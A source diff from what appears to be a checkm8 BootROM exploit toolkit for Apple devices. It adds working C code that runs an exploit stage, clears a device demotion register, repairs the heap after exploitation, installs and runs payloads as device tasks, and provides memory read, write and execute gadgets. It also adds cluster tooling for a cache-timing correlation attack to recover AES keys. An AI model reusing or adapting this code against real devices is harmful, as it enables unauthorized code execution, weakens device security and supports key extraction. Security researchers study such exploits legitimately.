@@ -80,7 +80,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
return cmd_resp;
}
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 100, 0);
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 0, 0);
if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
else
{
@@ -89,7 +89,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
return cmd_resp;
}
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 100, 0);
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 0, 0);
if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
else
{
@@ -110,7 +110,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
ret = ctrl_transfer(dev,
0xA1, 2, 0xFFFF, 0,
resp_buf, response_len + 1,
100, 1);
0, 1);
if(ret >= 0) checkm8_debug_indent("\tfinal request transferred %i bytes\n", ret);
else
{
@@ -124,7 +124,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
ret = ctrl_transfer(dev,
0xA1, 2, 0xFFFF, 0,
resp_buf, response_len,
100, 1);
0, 1);
if(ret >= 0) checkm8_debug_indent("\tfinal request transferred %i bytes\n", ret);
else
{
@@ -157,7 +157,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
#define MEMS_MAGIC 0x6d656d736d656d73ull // 'memsmems'[::-1]
#define DONE_MAGIC 0x646f6e65646f6e65ull // 'donedone'[::-1]
struct dev_cmd_resp *dev_memset(struct pwned_device *dev, long long addr, unsigned char c, int len)
struct dev_cmd_resp *dev_memset(struct pwned_device *dev, unsigned long long addr, unsigned char c, int len)
{
checkm8_debug_indent("dev_memset(dev = %p, addr = %lx, c = %x, len = %li)\n", dev, addr, c, len);
unsigned long long cmd_args[5];
@@ -170,7 +170,7 @@ struct dev_cmd_resp *dev_memset(struct pwned_device *dev, long long addr, unsign
return command(dev, (unsigned char *) &cmd_args, 5 * sizeof(unsigned long long), 8);
}
struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, long long dest, long long src, int len)
struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, unsigned long long dest, unsigned long long src, int len)
{
checkm8_debug_indent("dev_memset(dev = %p, dest = %lx, src = %lx, len = %li)\n", dev, dest, src, len);
unsigned long long cmd_args[5];
@@ -205,7 +205,7 @@ struct dev_cmd_resp *dev_exec(struct pwned_device *dev, int response_len, int na
return command(dev, (unsigned char *) cmd_args, (1 + nargs) * sizeof(unsigned long long), 16 + response_len);
}
struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, long long addr, int len)
struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, unsigned long long addr, int len)
{
checkm8_debug_indent("dev_read_memory(dev = %p, addr = %lx, len = %i)\n", dev, addr, len);
long long index = 0, amount;
@@ -254,7 +254,7 @@ struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, long long addr, i
return ret;
}
struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, long long addr, unsigned char *data, int len)
struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, unsigned long long addr, unsigned char *data, int len)
{
checkm8_debug_indent("dev_write_memory(dev = %p, addr = %lx, data = %p, len = %i)\n", dev, addr, data, len);

View File

@@ -1,12 +1,14 @@
#include "checkm8.h"
#include <stdlib.h>
#include "usb_helpers.h"
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include "tool/usb_helpers.h"
#include "tool/command.h"
#include "dev/addr.h"
static unsigned char data_0xA_0xC0_buf[192] =
{
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
@@ -148,6 +150,12 @@ int stage3_function(struct pwned_device *dev)
checkm8_debug_indent("exploit stage 3\n");
FILE *overwrite_file = fopen(CHECKM8_BIN_BASE "overwrite.bin", "r");
if(overwrite_file == NULL)
{
checkm8_debug_indent("\tfailed to open overwrite file\n");
return CHECKM8_FAIL_NOINST;
}
fseek(overwrite_file, 0, SEEK_END);
ow_len = ftell(overwrite_file);
rewind(overwrite_file);
@@ -157,6 +165,12 @@ int stage3_function(struct pwned_device *dev)
fclose(overwrite_file);
FILE *payload_file = fopen(CHECKM8_BIN_BASE "payload.bin", "r");
if(payload_file == NULL)
{
checkm8_debug_indent("\tfailed to open payload file\n");
return CHECKM8_FAIL_NOINST;
}
fseek(payload_file, 0, SEEK_END);
pl_len = ftell(payload_file);
rewind(payload_file);
@@ -289,6 +303,217 @@ struct pwned_device *exploit_device()
}
}
int demote_device(struct pwned_device *dev)
{
checkm8_debug_indent("demote_device(dev = %p)\n", dev);
unsigned int oldval, newval;
int retval;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
checkm8_debug_indent("\tfailed to open a device session\n");
return CHECKM8_FAIL_XFER;
}
struct dev_cmd_resp *resp = dev_read_memory(dev, DEMOTE_REG, 4);
if(IS_CHECKM8_FAIL(resp->ret))
{
free_dev_cmd_resp(resp);
checkm8_debug_block("\tfailed to read demotion reg\n");
return CHECKM8_FAIL_INVARGS;
}
oldval = *((unsigned int *) resp->data);
free_dev_cmd_resp(resp);
if(!(oldval & 1u))
{
checkm8_debug_block("\tdevice already demoted\n");
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
checkm8_debug_indent("\tfailed to close device session\n");
return CHECKM8_FAIL_XFER;
}
return CHECKM8_SUCCESS;
}
oldval &= 0xFFFFFFFE;
checkm8_debug_indent("\tattempting to demote device\n");
resp = dev_write_memory(dev, DEMOTE_REG, (unsigned char *) &oldval, 4);
if(IS_CHECKM8_FAIL(resp->ret))
{
checkm8_debug_block("\tfailed to write to demotion reg\n");
free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
checkm8_debug_indent("\tfailed to close device session\n");
return CHECKM8_FAIL_XFER;
}
return CHECKM8_FAIL_INVARGS;
}
free_dev_cmd_resp(resp);
// verify
resp = dev_read_memory(dev, DEMOTE_REG, 4);
if(IS_CHECKM8_FAIL(resp->ret))
{
free_dev_cmd_resp(resp);
checkm8_debug_block("\tfailed to verify demotion reg\n");
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
checkm8_debug_indent("\tfailed to close device session\n");
return CHECKM8_FAIL_XFER;
}
return CHECKM8_FAIL_INVARGS;
}
newval = *((unsigned int *) resp->data);
free_dev_cmd_resp(resp);
if(oldval == newval)
{
checkm8_debug_block("\tdemotion success!\n");
retval = CHECKM8_SUCCESS;
}
else
{
checkm8_debug_block("\tdemotion register did not change!\n");
retval = CHECKM8_FAIL_INVARGS;
}
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
checkm8_debug_indent("\tfailed to close device session\n");
return CHECKM8_FAIL_XFER;
}
return retval;
}
int fix_heap(struct pwned_device *dev)
{
checkm8_debug_indent("fix_heap(dev = %p)\n", dev);
struct heap_header block;
struct dev_cmd_resp *resp;
unsigned long long curr = ADDR_HEAP_BASE;
unsigned long long calc_args[5];
int ret, i;
#if CHECKM8_PLATFORM == 8010
unsigned long long prev_sizes[3] = {0x840 / 0x40, 0x80 / 0x40, 0x80 / 0x40};
unsigned long long header_addr[3] = {0x1801b9180, 0x1801b9200, 0x1801b9280};
memset(&block, 0, sizeof(struct heap_header));
block.curr_size = (0x80 / 0x40);
block.pad_start = 0x80;
calc_args[0] = ADDR_CALC_CHKSUM;
//calc_args[1-2] block specific
calc_args[3] = 32;
calc_args[4] = ADDR_HEAP_COOKIE;
for(i = 0; i < 3; i++)
{
block.prev_size = prev_sizes[i];
resp = dev_write_memory(dev, header_addr[i], (unsigned char *) &block, sizeof(struct heap_header));
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to write block %i header\n", i);
return ret;
}
calc_args[1] = header_addr[i], calc_args[2] = header_addr[i] + 0x20;
resp = dev_exec(dev, 0, 5, calc_args);
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to calculate block %i checksum\n", i);
return ret;
}
}
while(1)
{
resp = dev_read_memory(dev, curr, sizeof(struct heap_header));
memcpy(&block, resp->data, sizeof(struct heap_header));
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to walk heap at %llx\n", curr);
return ret;
}
if(curr + block.curr_size * 0x40 == ADDR_HEAP_END)
{
block.curr_size -= 1;
resp = dev_write_memory(dev, curr, (unsigned char *) &block, sizeof(struct heap_header));
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to write second-to-last block header\n");
return ret;
}
calc_args[1] = curr, calc_args[2] = curr + 0x20, calc_args[3] = 48;
resp = dev_exec(dev, 0, 5, calc_args);
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to calculate second-to-last block checksum\n");
return ret;
}
block.prev_free = block.curr_free;
block.prev_size = block.curr_size;
block.curr_free = 0;
block.curr_size = 1;
resp = dev_write_memory(dev, ADDR_HEAP_END - sizeof(struct heap_header),
(unsigned char *) &block, sizeof(struct heap_header));
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to write last block header\n");
return ret;
}
calc_args[1] = ADDR_HEAP_END - sizeof(struct heap_header);
calc_args[2] = ADDR_HEAP_END - sizeof(struct heap_header) + 0x20;
calc_args[3] = 32;
resp = dev_exec(dev, 0, 5, calc_args);
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to calculate last block checksum\n");
return ret;
}
break;
}
curr += block.curr_size * 0x40;
}
#else
#error "Can't fix heap for unknown platform"
#endif
return CHECKM8_SUCCESS;
}
void free_device(struct pwned_device *dev)
{
checkm8_debug_indent("free_device(dev = %p)\n", dev);

View File

@@ -1,13 +1,13 @@
#include "payload.h"
#include "tool/payload.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include "command.h"
#include "usb_helpers.h"
#include "tool/command.h"
#include "tool/libpayload.h"
#include "libpayload.h"
#include "dev/addr.h"
struct payload
{
@@ -15,11 +15,22 @@ struct payload
const unsigned char *data;
int len;
long long install_base;
DEV_PTR_T install_base;
DEV_PTR_T async_base;
struct payload *next;
struct payload *prev;
};
struct data
{
DEV_PTR_T addr;
int len;
struct data *next;
struct data *prev;
};
struct payload *get_payload(PAYLOAD_T p)
{
struct payload *res;
@@ -28,19 +39,34 @@ struct payload *get_payload(PAYLOAD_T p)
switch(p)
{
case PAYLOAD_AES:
pl = payload_aes;
len = PAYLOAD_AES_SZ;
break;
case PAYLOAD_AES_BUSY:
pl = payload_aes_busy;
len = PAYLOAD_AES_BUSY_SZ;
break;
case PAYLOAD_AES_SW:
pl = payload_aes_sw;
len = PAYLOAD_AES_SW_SZ;
case PAYLOAD_AES_SW_BERN:
pl = payload_aes_sw_bern;
len = PAYLOAD_AES_SW_BERN_SZ;
break;
case PAYLOAD_AES_SW_CORR:
pl = payload_aes_sw_corr;
len = PAYLOAD_AES_SW_CORR_SZ;
break;
case PAYLOAD_CACHELIB:
pl = payload_cachelib;
len = PAYLOAD_CACHELIB_SZ;
break;
case PAYLOAD_EXIT_USB_TASK:
pl = payload_exit_usb_task;
len = PAYLOAD_EXIT_USB_TASK_SZ;
break;
case PAYLOAD_FLOPPYSLEEP:
pl = payload_floppysleep;
len = PAYLOAD_FLOPPYSLEEP_SZ;
break;
case PAYLOAD_SYNC:
@@ -48,16 +74,6 @@ struct payload *get_payload(PAYLOAD_T p)
len = PAYLOAD_SYNC_SZ;
break;
case PAYLOAD_SYSREG:
pl = payload_sysreg;
len = PAYLOAD_SYSREG_SZ;
break;
case PAYLOAD_TASK_SLEEP_TEST:
pl = payload_task_sleep_test;
len = PAYLOAD_TASK_SLEEP_TEST_SZ;
break;
default:
return NULL;
}
@@ -69,32 +85,18 @@ struct payload *get_payload(PAYLOAD_T p)
res->type = p;
res->len = len;
res->data = pl;
res->install_base = -1;
res->install_base = DEV_PTR_NULL;
res->async_base = DEV_PTR_NULL;
res->next = NULL;
res->prev = NULL;
return res;
}
void free_payload(struct payload *p)
{
free(p);
}
long long curr_address = 0x180150000;
long long get_address(struct pwned_device *dev, LOCATION_T l)
{
//TODO: make an actual memory allocator
long long ret = curr_address;
curr_address += 0x1000;
return ret;
}
struct payload *dev_retrieve_payload(struct pwned_device *dev, PAYLOAD_T p)
{
struct payload *curr;
for(curr = dev->installed; curr != NULL; curr = curr->next)
for(curr = dev->inst_pl; curr != NULL; curr = curr->next)
{
if(curr->type == p) return curr;
}
@@ -105,14 +107,14 @@ struct payload *dev_retrieve_payload(struct pwned_device *dev, PAYLOAD_T p)
int dev_link_payload(struct pwned_device *dev, struct payload *pl)
{
struct payload *curr;
if(dev->installed == NULL)
if(dev->inst_pl == NULL)
{
dev->installed = pl;
dev->inst_pl = pl;
return CHECKM8_SUCCESS;
}
else
{
for(curr = dev->installed; curr->next != NULL; curr = curr->next);
for(curr = dev->inst_pl; curr->next != NULL; curr = curr->next);
curr->next = pl;
pl->prev = curr;
@@ -120,21 +122,125 @@ int dev_link_payload(struct pwned_device *dev, struct payload *pl)
}
}
int *dev_unlink_payload(struct pwned_device *dev, struct payload *pl)
int dev_unlink_payload(struct pwned_device *dev, struct payload *pl)
{
if(dev->installed == pl)
if(dev->inst_pl == pl)
{
dev->installed = NULL;
dev->inst_pl = pl->next;
return CHECKM8_SUCCESS;
}
else
{
pl->prev->next = pl->next;
pl->next->prev = pl->prev;
if(pl->next != NULL)
pl->next->prev = pl->prev;
return CHECKM8_SUCCESS;
}
}
struct data *dev_retrieve_data(struct pwned_device *dev, DEV_PTR_T addr)
{
struct data *curr;
for(curr = dev->inst_data; curr != NULL; curr = curr->next)
{
if(curr->addr == addr) return curr;
}
return NULL;
}
int dev_link_data(struct pwned_device *dev, struct data *data)
{
struct data *curr;
if(dev->inst_data == NULL)
{
dev->inst_data = data;
return CHECKM8_SUCCESS;
}
else
{
for(curr = dev->inst_data; curr->next != NULL; curr = curr->next);
curr->next = data;
data->prev = curr;
return CHECKM8_SUCCESS;
}
}
int dev_unlink_data(struct pwned_device *dev, struct data *data)
{
if(dev->inst_data == data)
{
dev->inst_data = data->next;
return CHECKM8_SUCCESS;
}
else
{
data->prev->next = data->next;
if(data->next != NULL)
data->next->prev = data->prev;
return CHECKM8_SUCCESS;
}
}
DEV_PTR_T get_address(struct pwned_device *dev, LOCATION_T l, int len)
{
checkm8_debug_indent("get_address(dev = %p, loc = %i, len = %i)\n", dev, l, len);
DEV_PTR_T retval;
unsigned long long malloc_args[2] = {ADDR_DEV_MALLOC, (unsigned long long) len};
struct data *new_entry;
struct dev_cmd_resp *resp = dev_exec(dev, 0, 2, malloc_args);
if(IS_CHECKM8_FAIL(resp->ret))
{
free_dev_cmd_resp(resp);
checkm8_debug_indent("\tfailed to malloc an address\n");
return DEV_PTR_NULL;
}
retval = resp->retval;
free_dev_cmd_resp(resp);
new_entry = malloc(sizeof(struct data));
new_entry->addr = retval;
new_entry->len = len;
new_entry->prev = NULL;
new_entry->next = NULL;
dev_link_data(dev, new_entry);
checkm8_debug_indent("\tgot address %llX\n", retval);
return retval;
}
int free_address(struct pwned_device *dev, LOCATION_T l, DEV_PTR_T ptr)
{
struct dev_cmd_resp *resp;
struct data *entry;
unsigned long long free_args[2] = {ADDR_DEV_FREE, ptr};
entry = dev_retrieve_data(dev, ptr);
if(entry == NULL)
{
checkm8_debug_indent("\tthis pointer was not allocated through the payload interface, not freeing\n");
return CHECKM8_FAIL_NOINST;
}
resp = dev_exec(dev, 0, 2, free_args);
if(IS_CHECKM8_FAIL(resp->ret))
{
free_dev_cmd_resp(resp);
checkm8_debug_indent("\tfailed to free allocated payload memory\n");
return CHECKM8_FAIL_XFER;
}
free_dev_cmd_resp(resp);
dev_unlink_data(dev, entry);
free(entry);
return CHECKM8_SUCCESS;
}
int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)
{
@@ -142,7 +248,7 @@ int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)
struct dev_cmd_resp *resp = NULL;
struct payload *pl = get_payload(p);
long long addr = get_address(dev, loc);
DEV_PTR_T addr = get_address(dev, loc, pl->len);
if(pl == NULL || addr == -1)
{
@@ -167,13 +273,60 @@ int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)
int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p)
{
//TODO: free memory in memory allocator
checkm8_debug_indent("uninstall payload(dev = %p, p = %i)\n", dev, p);
struct payload *pl = dev_retrieve_payload(dev, p);
if(pl == NULL)
{
checkm8_debug_indent("\tinvalid args (payload)\n");
return CHECKM8_FAIL_INVARGS;
}
if(IS_CHECKM8_FAIL(free_address(dev, SRAM, pl->install_base)))
{
checkm8_debug_indent("\tfailed to free memory used by payload!\n");
return CHECKM8_FAIL_XFER;
}
dev_unlink_payload(dev, pl);
free(pl);
return CHECKM8_SUCCESS;
}
int uninstall_all_payloads(struct pwned_device *dev)
{
checkm8_debug_indent("uninstall_all_payloads(dev = %p)\n");
int ret;
while(dev->inst_pl != NULL)
{
ret = uninstall_payload(dev, dev->inst_pl->type);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\terror while uninstalling\n");
return ret;
}
}
return CHECKM8_SUCCESS;
}
DEV_PTR_T get_payload_address(struct pwned_device *dev, PAYLOAD_T p)
{
struct payload *pl = dev_retrieve_payload(dev, p);
if(pl == NULL)
{
return DEV_PTR_NULL;
}
else
{
return pl->install_base;
}
}
struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int response_len, int nargs, ...)
{
checkm8_debug_indent("execute_payload(dev = %p, p = %i, nargs = %i, ...)\n", dev, p, nargs);
checkm8_debug_indent("execute_payload(dev = %p, p = %i, response_len = %i, nargs = %i, ...)\n",
dev, p, response_len, nargs);
int i;
struct dev_cmd_resp *resp;
struct payload *pl;
@@ -202,19 +355,215 @@ struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int
return dev_exec(dev, response_len, nargs + 1, args);
}
struct dev_cmd_resp *read_gadget(struct pwned_device *dev, long long addr, int len)
unsigned long long setup_payload_async(struct pwned_device *dev, PAYLOAD_T p, int bufsize, int nargs, ...)
{
checkm8_debug_indent("setup_payload_async(dev = %p, p = %i, bufsize = %i, nargs = %i, ...)\n",
dev, p, bufsize, bufsize, nargs);
int i;
struct dev_cmd_resp *resp;
struct payload *pl;
DEV_PTR_T buf_addr;
unsigned long long buf_args[nargs], task_args[5];
if((pl = dev_retrieve_payload(dev, p)) == NULL)
{
checkm8_debug_indent("\tpayload is not installed\n");
return DEV_PTR_NULL;
}
checkm8_debug_indent("\tadjusting buffer size (if necessary)\n");
if(bufsize < nargs * sizeof(unsigned long long))
{
checkm8_debug_indent("\texpanding buffer to fit (at least) provided arguments\n");
bufsize = nargs * sizeof(unsigned long long);
}
buf_addr = get_address(dev, SRAM, bufsize);
if(buf_addr == DEV_PTR_NULL)
{
checkm8_debug_indent("\tfailed to get a shared buffer for the payload\n");
return DEV_PTR_NULL;
}
va_list arg_list;
va_start(arg_list, nargs);
for(i = 0; i < nargs; i++)
{
buf_args[i] = va_arg(arg_list, unsigned long long);
checkm8_debug_indent("\textracted arg %lx\n", buf_args[i]);
}
va_end(arg_list);
resp = dev_write_memory(dev, buf_addr, (unsigned char *) buf_args, nargs * sizeof(unsigned long long));
if(IS_CHECKM8_FAIL(resp->ret))
{
checkm8_debug_indent("\tfailed to write args to shared buffer\n");
if(IS_CHECKM8_FAIL(free_address(dev, SRAM, buf_addr)))
{
checkm8_debug_indent("\talso failed to free buffer (something is really wrong)\n");
}
free_dev_cmd_resp(resp);
return DEV_PTR_NULL;
}
task_args[0] = ADDR_TASK_NEW;
task_args[1] = 0x10001943b; // todo: name pointer
task_args[2] = pl->install_base;
task_args[3] = buf_addr;
task_args[4] = 0x4000;
resp = dev_exec(dev, 0, 5, task_args);
if(IS_CHECKM8_FAIL(resp->ret))
{
checkm8_debug_indent("\tfailed to create a new task\n");
if(IS_CHECKM8_FAIL(free_address(dev, SRAM, buf_addr)))
{
checkm8_debug_indent("\talso failed to free buffer (something is really wrong)\n");
}
free_dev_cmd_resp(resp);
return DEV_PTR_NULL;
}
pl->async_base = resp->retval;
free_dev_cmd_resp(resp);
return buf_addr;
}
int run_payload_async(struct pwned_device *dev, PAYLOAD_T p)
{
checkm8_debug_indent("run_payload_async(dev = %p, payload = %i)\n", dev, p);
struct payload *pl;
struct dev_cmd_resp *resp;
unsigned long long args[2];
int retval;
if((pl = dev_retrieve_payload(dev, p)) == NULL)
{
checkm8_debug_indent("\tpayload is not installed!\n");
return CHECKM8_FAIL_NOINST;
}
if(pl->async_base == DEV_PTR_NULL)
{
checkm8_debug_indent("\tasync payload is not set up correctly!\n");
return CHECKM8_FAIL_NOINST;
}
args[0] = ADDR_TASK_RUN;
args[1] = pl->async_base;
resp = dev_exec(dev, 0, 2, args);
retval = resp->ret;
free_dev_cmd_resp(resp);
return retval;
}
int kill_payload_async(struct pwned_device *dev, PAYLOAD_T p, DEV_PTR_T buf_addr)
{
checkm8_debug_indent("kill_payload_async(dev = %p, p = %i, buf_addr = %llx)\n", dev, p, buf_addr);
struct payload *pl;
struct dev_cmd_resp *resp;
unsigned long long args[2];
if((pl = dev_retrieve_payload(dev, p)) == NULL)
{
checkm8_debug_indent("\tpayload is not installed\n");
return CHECKM8_FAIL_NOINST;
}
if(pl->async_base == DEV_PTR_NULL)
{
checkm8_debug_indent("\tasync payload is not set up correctly\n");
return CHECKM8_FAIL_NOINST;
}
args[0] = ADDR_TASK_FREE;
args[1] = pl->async_base;
resp = dev_exec(dev, 0, 2, args);
pl->async_base = DEV_PTR_NULL;
if(IS_CHECKM8_FAIL(resp->ret))
{
checkm8_debug_indent("\tfailed to kill payload\n");
free_dev_cmd_resp(resp);
return CHECKM8_FAIL_XFER;
}
free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(free_address(dev, SRAM, buf_addr)))
{
checkm8_debug_indent("\tfailed to free shared buffer\n");
return CHECKM8_FAIL_XFER;
}
return CHECKM8_SUCCESS;
}
DEV_PTR_T install_data(struct pwned_device *dev, LOCATION_T loc, unsigned char *data, int len)
{
checkm8_debug_indent("install_data(dev = %p, loc = %i, data = %p, len = %i)\n", dev, loc, data, len);
struct dev_cmd_resp *resp;
DEV_PTR_T addr = get_address(dev, loc, len);
if(addr == DEV_PTR_NULL)
{
checkm8_debug_indent("\tfailed to get an address\n");
return DEV_PTR_NULL;
}
checkm8_debug_indent("\twriting data to address %X\n", addr);
resp = dev_write_memory(dev, addr, data, len);
if(IS_CHECKM8_FAIL(resp->ret))
{
checkm8_debug_indent("\tfailed to write data\n");
return -1;
}
free_dev_cmd_resp(resp);
return addr;
}
int uninstall_data(struct pwned_device *dev, DEV_PTR_T addr)
{
checkm8_debug_indent("uninstall_data(dev = %p, addr = %X)\n", dev, addr);
return free_address(dev, SRAM, addr);
}
int uninstall_all_data(struct pwned_device *dev)
{
checkm8_debug_indent("uninstall_all_data(dev = %p)\n", dev);
int retval;
while(dev->inst_data != NULL)
{
retval = uninstall_data(dev, dev->inst_data->addr);
if(IS_CHECKM8_FAIL(retval))
{
checkm8_debug_indent("\terror while uninstalling data\n");
return retval;
}
}
return CHECKM8_SUCCESS;
}
struct dev_cmd_resp *read_gadget(struct pwned_device *dev, DEV_PTR_T addr, int len)
{
checkm8_debug_indent("read_gadget(dev = %p, addr = %lx, len = %i)\n", dev, addr, len);
return dev_read_memory(dev, addr, len);
}
struct dev_cmd_resp *write_gadget(struct pwned_device *dev, long long addr, unsigned char *data, int len)
struct dev_cmd_resp *write_gadget(struct pwned_device *dev, DEV_PTR_T addr, unsigned char *data, int len)
{
checkm8_debug_indent("write_gadget(dev = %p, addr = %lx, data = %p, len = %i)\n", dev, addr, data, len);
return dev_write_memory(dev, addr, data, len);
}
struct dev_cmd_resp *execute_gadget(struct pwned_device *dev, long long addr, int response_len, int nargs, ...)
struct dev_cmd_resp *execute_gadget(struct pwned_device *dev, DEV_PTR_T addr, int response_len, int nargs, ...)
{
checkm8_debug_indent("execute_gadget(dev = %p, addr = %lx, nargs = %i)\n", dev, addr, nargs);
int i;

View File

@@ -1,4 +1,4 @@
#include "usb_helpers.h"
#include "tool/usb_helpers.h"
#ifdef WITH_ARDUINO
@@ -517,6 +517,12 @@ int ctrl_transfer(struct pwned_device *dev,
// get the size of this chunk
size = 0;
ard_read(dev, (unsigned char *) &size, 2);
if(size > ARD_BUF_SIZE)
{
checkm8_debug_indent("\treceived bad chunk size %i\n", size);
return CHECKM8_FAIL_XFER;
}
checkm8_debug_indent("\treceiving data chunk of size %i\n", size);
ard_read(dev, (unsigned char *) &data[amount], size);

View File

@@ -3,7 +3,7 @@
#define CHECKM8_LOGGING
#define WITH_ARDUINO
//#define WITH_ARDUINO
#define ARDUINO_DEV "/dev/ttyACM0"
#define ARDUINO_BAUD 115200

14
tools/CMakeLists.txt Normal file
View File

@@ -0,0 +1,14 @@
cmake_minimum_required(VERSION 3.10)
project(tools C)
set(CMAKE_C_STANDARD 99)
set(CMAKE_C_FLAGS "-g -Wall -fopenmp")
include_directories(include)
add_executable(tool_strip correlation/strip/main.c)
add_executable(tool_analyze correlation/analyze/main.c)
add_executable(tool_verify correlation/verify/main.c)
target_link_libraries(tool_analyze host_crypto mpi m)
target_link_libraries(tool_verify host_crypto m)

View File

@@ -0,0 +1,35 @@
#!/bin/bash
#SBATCH -J correlate
#SBATCH -o corr.%j.out
#SBATCH -N 8
#SBATCH -n 8
#SBATCH -t 01:30:00
#SBATCH -p broadwell
NODEFILE=nodefile.txt
rank=0
echo $SLURM_NODELIST | tr -d c | tr -d [ | tr -d ] | perl -pe 's/(\d+)-(\d+)/join(",",$1..$2)/eg' | awk 'BEGIN { RS=","} { print "c"$1 }' > $NODEFILE
for node in `cat $NODEFILE`; do
ssh -n $node "[[ ! -f /tmp/ghaas/KEY ]] || mkdir -p /tmp/ghaas/ && tar -xf /home/ghaas/correlate/data00.tar.gz -C /tmp/ghaas" & pid[$rank]=$!
(( rank++ ))
done
rank=0
for node in `cat $NODEFILE`; do
echo "waiting on" $rank
wait ${pid[$rank]}
(( rank++ ))
done
prun ./analyze /tmp/ghaas
rank=0
for node in `cat $NODEFILE`; do
ssh -n $node "rm -r /tmp/ghaas" & pid[$rank]=$!
(( rank++ ))
done
rm $NODEFILE

View File

@@ -0,0 +1,323 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include <sys/stat.h>
#include <mpich/mpi.h>
#include <omp.h>
#include "host_crypto.h"
#define N_FILES 48
#define N_NODES 8
#define FILE_PER_NODE (N_FILES / N_NODES)
#define MSG_SEPARATE 1024 * 256
#define ANALYZE_DEBUG 1
int read_data(unsigned char *dst, char *fname, unsigned int offset, unsigned int num)
{
unsigned long ret;
FILE *datafile = fopen(fname, "rb");
if(ANALYZE_DEBUG)
printf("read_data(dst = %p, fname = %s, offset = %i, num = %i)\n", dst, fname, offset, num);
if(datafile == NULL)
{
printf("failed to open datafile %s\n", fname);
return -1;
}
ret = fread(&dst[offset], 1, num, datafile);
if(ret != num)
{
printf("reading %s failed with ferror %i, feof %i\n",
fname, ferror(datafile), feof(datafile));
return -1;
}
fclose(datafile);
return 0;
}
struct summary_stats
{
double mean;
double stddev;
};
struct summary_stats *calculate_stats(unsigned char *data,
unsigned int len, int mul, int offset,
int rank, int nodes)
{
int i;
double mean = 0, stddev = 0, temp;
struct summary_stats *res;
MPI_Status status;
/*
* First calculate the mean
*/
#pragma omp parallel for num_threads(32) default(none) \
firstprivate(len, mul, offset) \
shared(data) \
reduction(+:mean)
for(i = 0; i < len; i++)
mean += (double) data[mul * i + offset];
if(rank == 0)
{
for(i = 1; i < nodes; i++)
{
MPI_Recv(&temp, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD, &status);
mean += temp;
}
mean /= (len * nodes);
for(i = 1; i < nodes; i++)
MPI_Send(&mean, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD);
}
else
{
MPI_Sendrecv_replace(&mean, 1, MPI_DOUBLE,
0, 0, 0, 0,
MPI_COMM_WORLD, &status);
}
/*
* Then the standard deviation
*/
#pragma omp parallel for num_threads(32) default(none) \
firstprivate(len, mul, offset, mean) \
shared(data) \
reduction(+:stddev)
for(i = 0; i < len; i++)
stddev += pow(data[mul * i + offset] - mean, 2);
if(rank == 0)
{
for(i = 1; i < nodes; i++)
{
MPI_Recv(&temp, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD, &status);
stddev += temp;
}
stddev = sqrt(stddev / (len * nodes));
for(i = 1; i < nodes; i++)
MPI_Send(&stddev, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD);
}
else
{
PMPI_Sendrecv_replace(&stddev, 1, MPI_DOUBLE,
0, 0, 0, 0,
MPI_COMM_WORLD, &status);
}
res = malloc(sizeof(struct summary_stats));
res->mean = mean;
res->stddev = stddev;
return res;
}
int main(int argc, char *argv[])
{
int i, j;
unsigned int i_byte, i_input, i_key, i_key_split;
unsigned int trace_per_file = 0, msg_per_file = 0, num_traces = 0;
int rank, nodes;
char timing_name[256], msg_name[256];
struct stat timing_finfo, msg_finfo;
FILE *keyfile;
